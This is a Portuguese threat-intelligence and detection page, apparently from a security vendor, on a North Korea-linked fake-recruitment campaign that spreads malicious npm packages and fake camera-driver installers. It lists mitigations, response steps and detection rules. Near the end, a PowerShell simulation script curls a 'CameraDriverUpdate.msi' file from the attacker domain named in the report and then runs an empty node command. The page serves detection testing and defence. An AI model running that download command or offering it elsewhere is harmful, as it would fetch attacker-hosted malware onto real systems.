Campanha de Recrutamento Falsa Usa Pacotes npm para Alvejar Desenvolvedores
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um ator de ameaça sofisticado vinculado à Coreia do Norte está usando processos de recrutamento falsos para comprometer desenvolvedores. A campanha segue uma cadeia de infecção em várias etapas, envolvendo empresas fraudulentas, pacotes npm envenenados e instaladores de “driver de câmera” maliciosos. Ao abusar de plataformas profissionais confiáveis como LinkedIn e GitHub, os atacantes aumentam a credibilidade e reduzem a suspeita durante o engajamento inicial.
Investigação
A JFrog Security Research rastreou a campanha de um único pacote npm malicioso até uma empresa de fachada totalmente desenvolvida chamada AccuraSoftHire. Os investigadores descobriram uma infraestrutura coordenada envolvendo perfis falsos no LinkedIn, um site de carreiras convincente e múltiplas contas npm descartáveis. A análise técnica conectou personagens de recrutadores, autores de projetos no GitHub e publicadores de pacotes npm através de endereços de e-mail compartilhados e marcadores de código recorrentes.
Mitigação
Os desenvolvedores devem tratar tarefas de codificação para casa como código não confiável e executá-las apenas dentro de máquinas virtuais ou contêineres isolados e descartáveis. Evite executar comandos de instalação fornecidos através de navegadores, especialmente aqueles que usam curl ou PowerShell. As organizações devem fortalecer a segurança da cadeia de suprimento de software auditando arquivos de bloqueio de dependências e monitorando atualizações de pacotes inesperadas ou não autorizadas.
Resposta
Quando pacotes npm suspeitos ou alterações não autorizadas em tarefas do VS Code são detectados, isole imediatamente a estação de trabalho afetada. Realize análise forense de downloads recentes, atividade do navegador e comandos executados. Verifique por tarefas agendadas não autorizadas ou novas entradas de registro associadas a hosts de mensagens nativas do Chrome. Revise credenciais de desenvolvedores e sessões ativas para reduzir o risco de sequestro de sessão.
Fluxo de Ataque
Ainda estamos atualizando esta parte.
Detecções
Operação de Auto-Remoção de Malware Potencial ou Ocultação de Stderr (via linha de comando)
Argumentos NodeJS Suspeitos (via linha de comando)
Binário NodeJS Executando de Localização Incomum (via linha de comando)
Processos Filho NodeJS Suspeitos [Windows] (via linha de comando)
Uso Suspeito de CURL (via linha de comando)
Runtimes de Scripting Iniciando Conexões TLS Saída (via conexão de rede)
Possível Execução por Uso de Nohup (via linha de comando)
Tentativa de Execução Suspeita de Curl [MacOS] (via linha de comando)
Uso de Nohup (via linha de comando)
Envio/Download Remoto de Arquivo via Ferramentas Padrão (via linha de comando)
IOCs (SourceIP) para detectar: Entrevista Contagiosa – A Uma Entrevista da Infecção
IOCs (DestinationIP) para detectar: Entrevista Contagiosa – A Uma Entrevista da Infecção
Instalação Maliciosa de Driver de Câmera via Linha de Comando e Execução de Node [Criação de Processo do Windows]
Detecção de Plugin Falsa de CSS Tailwind e Instalador de Driver de Câmera Maliciosa [Criação de Processo Linux]
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria & Baseline deve ter sido aprovado.
Justificativa: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar exatamente a telemetria esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos incorretos.
-
Narrativa e Comandos do Ataque: O adversário busca estabelecer persistência disfarçando-se como uma atualização do sistema. Após uma isca bem-sucedida de engenharia social, o atacante executa um
comando curlpara baixar um arquivo MSI malicioso, nomeando-oCameraDriverUpdate.msipara se misturar ao ruído do sistema. Imediatamente após, o atacante executanode -e ""—uma técnica usada para testar o ambiente ou preparar para cargas úteis de JavaScript mais complexas e ofuscadas que evadem detecções simples. A combinação de um download de driver temático específico e uma execução de node vazia é o gatilho primário para a regra de detecção. -
Script de Teste de Regressão:
# Script de simulação para acionar a regra de detecção. # Este script imita as strings específicas identificadas na regra Sigma. $TargetUrl = "https://accurasofthire.com/camera-driver/setup-win" $FileName = "CameraDriverUpdate.msi" $FullCurlCmd = "curl -L -o $FileName `"$TargetUrl`"" Write-Host "[+] Executando comando curl malicioso..." -ForegroundColor Yellow Invoke-Expression $FullCurlCmd Write-Host "[+] Executando comando de node vazio..." -ForegroundColor Yellow node -e "" Write-Host "[+] Simulação completa. Verifique SIEM para Alerta." -ForegroundColor Green -
Comandos de Limpeza:
# Script de limpeza para remover artefatos criados durante a simulação. if (Test-Path "CameraDriverUpdate.msi") { Remove-Item "CameraDriverUpdate.msi" -Force Write-Host "[+] Removido artefato MSI malicioso." -ForegroundColor Cyan }